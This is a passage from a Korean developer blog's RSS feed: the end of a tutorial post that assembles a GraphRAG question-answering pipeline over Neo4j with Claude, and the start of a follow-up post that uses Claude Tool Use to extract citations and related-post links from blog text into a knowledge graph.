    &lt;span class=&quot;token literal-property property&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;role&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;질문: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;question&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;\n\n검색 결과:\n&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;context&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;합성 단계에서 가장 중요한 건 &lt;strong&gt;&quot;결과에 없는 사실은 만들지 말라&quot;&lt;/strong&gt; 한 줄입니다. 이게 GraphRAG가 순수 LLM 답변보다 hallucination이 적은 결정적 이유예요. 그래프가 사실 기반(triple)이라 합성용 컨텍스트가 거짓을 포함할 가능성이 낮고, LLM도 &quot;주어진 것만&quot; 쓰도록 묶어둡니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;파이프라인 합치기&lt;/h2&gt;
&lt;p&gt;지금까지의 단계를 한 함수로 묶습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ask&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; question&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 1) 라우팅&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; mode &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;question&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 2) 채널별 검색&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; graphRows &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    vectorRows &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mode &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;graph&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; mode &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hybrid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cypher&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; params &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;naturalToCypher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;question&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    graphRows &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;executeCypher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cypher&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; params &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mode &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vector&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; mode &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hybrid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    vectorRows &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;vectorSearch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; question&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 3) 답변 합성&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;synthesize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;question&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; graphRows&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; vectorRows&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;100줄도 안 되는 코드로 GraphRAG 파이프라인이 완성됩니다. LangChain의 &lt;code class=&quot;language-text&quot;&gt;GraphCypherQAChain&lt;/code&gt;을 써도 비슷한 일을 하지만, 직접 짜면 채널 라우팅·검수·로깅을 자기 입맛대로 끼우기 쉽습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2편의 질의 7개 — 자연어로 다시 풀어보기&lt;/h2&gt;
&lt;p&gt;이제 2편에서 적었던 질의 7개를 자연어로 던져봅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;자연어 질의&lt;/th&gt;
&lt;th&gt;라우팅&lt;/th&gt;
&lt;th&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q1&lt;/td&gt;
&lt;td&gt;&quot;Claude Code 시리즈 첫 번째 글이 뭐야?&quot;&lt;/td&gt;
&lt;td&gt;graph&lt;/td&gt;
&lt;td&gt;시리즈 매칭 + &lt;code class=&quot;language-text&quot;&gt;seriesOrder&lt;/code&gt; ASC LIMIT 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q2&lt;/td&gt;
&lt;td&gt;&quot;4월에 쓴 GraphRAG 관련 글 보여줘&quot;&lt;/td&gt;
&lt;td&gt;graph&lt;/td&gt;
&lt;td&gt;날짜 범위 + 태그 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q3&lt;/td&gt;
&lt;td&gt;&quot;AI 카테고리에서 최신 글 5개&quot;&lt;/td&gt;
&lt;td&gt;graph&lt;/td&gt;
&lt;td&gt;카테고리 매칭 + 최신순&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q4&lt;/td&gt;
&lt;td&gt;&quot;1편이 인용한 외부 자료들&quot;&lt;/td&gt;
&lt;td&gt;graph&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:CITES&lt;/code&gt; 관계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q5&lt;/td&gt;
&lt;td&gt;&quot;이 글이랑 비슷한 다른 글 추천해줘&quot;&lt;/td&gt;
&lt;td&gt;hybrid&lt;/td&gt;
&lt;td&gt;벡터 유사도 + &lt;code class=&quot;language-text&quot;&gt;RELATED_TO&lt;/code&gt; 관계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q6&lt;/td&gt;
&lt;td&gt;&quot;Claude Code와 GraphRAG를 모두 다룬 시리즈&quot;&lt;/td&gt;
&lt;td&gt;graph&lt;/td&gt;
&lt;td&gt;두 태그 교차 + 시리즈&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q7&lt;/td&gt;
&lt;td&gt;&quot;이 글 이해하려면 먼저 읽어야 할 글&quot;&lt;/td&gt;
&lt;td&gt;graph&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:PREREQUISITE_OF&lt;/code&gt; 역추적&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;순수 그래프가 Q1·Q2·Q3·Q4·Q6·Q7을, 하이브리드가 Q5를 담당합니다. &lt;strong&gt;순수 벡터로만 풀리는 질의가 없는 점&lt;/strong&gt;이 흥미롭습니다. 도메인 특성상 관계 정보가 핵심이라 그렇고요, e-commerce처럼 자유 텍스트 검색이 큰 도메인은 비율이 달라집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;운영하면서 챙겨야 할 것&lt;/h2&gt;
&lt;p&gt;직접 돌려보며 챙겼던 운영 관점 네 가지:&lt;/p&gt;
&lt;h3&gt;1) 모든 LLM 호출에 trace 남기기&lt;/h3&gt;
&lt;p&gt;라우팅 결정, 생성된 Cypher, 실행 결과, 합성된 답변을 한 줄로 묶어 로그로 남기세요. 답이 이상하게 나왔을 때 어느 단계 잘못이었는지 즉시 보입니다.&lt;/p&gt;
&lt;h3&gt;2) Cypher 캐시&lt;/h3&gt;
&lt;p&gt;같은 질문이 반복되면 LLM 호출을 건너뛰고 캐시된 Cypher만 실행. 단순 해시 캐시로 충분합니다.&lt;/p&gt;
&lt;h3&gt;3) 빈 결과 처리&lt;/h3&gt;
&lt;p&gt;그래프가 빈 결과를 돌려주면 LLM이 종종 &quot;데이터에 따르면 X입니다&quot; 식으로 지어냅니다. 빈 결과면 답변 합성을 건너뛰고 &quot;관련 정보를 찾지 못했어요&quot;로 단축하세요.&lt;/p&gt;
&lt;h3&gt;4) 사람 답변과 비교&lt;/h3&gt;
&lt;p&gt;핵심 질의 10개를 골라 &lt;strong&gt;사람 답변과 LLM 답변을 나란히&lt;/strong&gt; 비교하는 페이지를 만드세요. 회귀 테스트가 됩니다. 프롬프트나 모델을 바꿀 때마다 이 페이지로 검증.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 편 예고 — 운영하며 배운 것&lt;/h2&gt;
&lt;p&gt;GraphRAG 파이프라인이 완성됐습니다. 마지막 6편은 이 시리즈를 운영하며 솔직히 느낀 것들을 정리하려 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;효과는 좋았나? 어디서 좋았고 어디서 별로였나&lt;/li&gt;
&lt;li&gt;비용은 얼마나 들었나&lt;/li&gt;
&lt;li&gt;어떤 도메인엔 추천하고 어떤 도메인엔 비추천인가&lt;/li&gt;
&lt;li&gt;다시 한다면 무엇을 다르게 할 것인가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. LangChain의 &lt;code class=&quot;language-text&quot;&gt;GraphCypherQAChain&lt;/code&gt;을 쓰는 게 더 낫지 않나요?&lt;/strong&gt;
빠르게 프로토타입을 만들기엔 LangChain이 편합니다. 다만 한국어 도메인에서 프롬프트 미세 조정, 라우팅 분기, 검수 단계 같은 걸 자기 입맛대로 끼우기에는 직접 구현이 자유롭습니다. &lt;strong&gt;LangChain으로 시작 → 한계 부딪히면 직접 구현&lt;/strong&gt;으로 옮기는 게 자연스러운 진화 경로입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. Cypher를 LLM이 잘못 생성하면 어떡하나요?&lt;/strong&gt;
실패 시 한 번 더 시도하는 fallback을 두세요. 두 번 다 실패하면 &quot;정확한 답을 만들지 못했어요&quot;로 단축. 무한정 재시도는 비용만 늘고 답이 안 좋아집니다. 시스템 프롬프트의 스키마를 가다듬는 게 근본 처방이에요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 벡터 임베딩 비용이 부담스러운데 꼭 필요한가요?&lt;/strong&gt;
도메인이 관계 중심이면 (이 시리즈처럼) 벡터는 옵션입니다. 글이 100개 미만이라면 벡터 인덱스 없이 그래프만으로도 대부분 풀립니다. 글이 1000개 넘어가고 의미 검색 비중이 커지면 그때 도입해도 늦지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분의 도메인에서는 어떤 질의가 가장 풀기 어려우신가요? 댓글로 알려주시면 다음 편 회고에서 한 번 더 짚어보겠습니다.&lt;/p&gt;
&lt;p&gt;다음 편은 시리즈 마무리, 운영 회고로 갑니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[LLM으로 본문에서 자동 추출 — Claude Tool Use로 지식 그래프 채우기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "본문에 박힌 인용·관련 글까지 사람이 frontmatter에 일일이 적으라고요?" 지난 3편에서 frontmatter로 4개 질의(Q1·Q2·Q3·Q6)를 풀었습니다. 남은 세 개 — Q4(인용 자료), Q…]]></description><link>https://blog.javapark.kr/ontology-search-04-llm-extraction/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-04-llm-extraction/</guid><pubDate>Sat, 23 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;본문에 박힌 인용·관련 글까지 사람이 frontmatter에 일일이 적으라고요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 &lt;a href=&quot;/ontology-search-03-build/&quot;&gt;3편&lt;/a&gt;에서 frontmatter로 4개 질의(Q1·Q2·Q3·Q6)를 풀었습니다. 남은 세 개 — &lt;strong&gt;Q4(인용 자료)&lt;/strong&gt;, &lt;strong&gt;Q5(관련 글)&lt;/strong&gt;, &lt;strong&gt;Q7(선수 글)&lt;/strong&gt; — 은 본문을 읽지 않고는 답이 안 나옵니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 본문을 &lt;strong&gt;LLM에 넣고 Tool Use로 구조화된 JSON을 받아&lt;/strong&gt; 그래프에 합칩니다. 이게 Microsoft GraphRAG가 자동으로 지식 그래프를 만드는 핵심 원리이기도 합니다.&lt;/p&gt;
&lt;p&gt;이번 편에서는 Claude API를 사용해 다음을 다룹니다. &lt;strong&gt;(1) 무엇을 추출할지 명세 → (2) Tool Use 스키마 설계 → (3) 프롬프트 캐싱으로 비용 절감 → (4) 그래프에 합치기 → (5) 검수 전략.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;무엇을 추출할까? — 추출 명세부터 못 박기&lt;/h2&gt;
&lt;p&gt;LLM에 &quot;본문에서 중요한 거 뽑아줘&quot;라고 던지면 결과가 매번 다릅니다. &lt;strong&gt;추출할 항목을 정확히 명세&lt;/strong&gt;해야 안정적인 그래프가 나옵니다.&lt;/p&gt;
&lt;p&gt;3편 설계 기준으로 본문에서 추출할 세 가지:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;추출 대상&lt;/th&gt;
&lt;th&gt;그래프 표현&lt;/th&gt;
&lt;th&gt;신호&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;외부 인용 자료&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;(:Post)-[:CITES]-&gt;(:ExternalResource)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;본문의 외부 URL 마크다운 링크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;관련 블로그 글&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;(:Post)-[:RELATED_TO]-&gt;(:Post)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;같은 블로그 내 다른 글 언급(&lt;code class=&quot;language-text&quot;&gt;/category/slug/&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;선수 글&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;(:Post)&amp;lt;-[:PREREQUISITE_OF]-(:Post)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&quot;먼저 읽으면 좋은 글&quot;, &quot;이전 편&quot; 같은 명시적 안내&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;각 항목마다 &lt;strong&gt;확실한 신호&lt;/strong&gt;가 있어야 LLM이 헛것을 보지 않습니다. 신호를 모호하게 두면 hallucination이 그래프로 그대로 새어 들어옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Tool Use로 구조화 출력 받기&lt;/h2&gt;
&lt;p&gt;Claude의 Tool Use는 원래 함수 호출용이지만, &lt;strong&gt;출력 형식을 강제하는 용도&lt;/strong&gt;로도 가장 안정적입니다. JSON Schema로 정의한 구조 그대로 응답이 돌아옵니다.&lt;/p&gt;
&lt;p&gt;스키마는 이렇게 잡습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; extractionTool &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;record_post_extractions&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;본문에서 인용·관련 글·선수 글을 추출하여 기록한다.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;input_schema&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;cites&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;array&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;본문이 인용한 외부 자료(블로그 외부 URL)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;링크 텍스트 또는 추론된 제목&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;인용된 문맥 한 줄&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;related&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;array&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;본문이 언급한 같은 블로그 내 다른 글의 slug&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
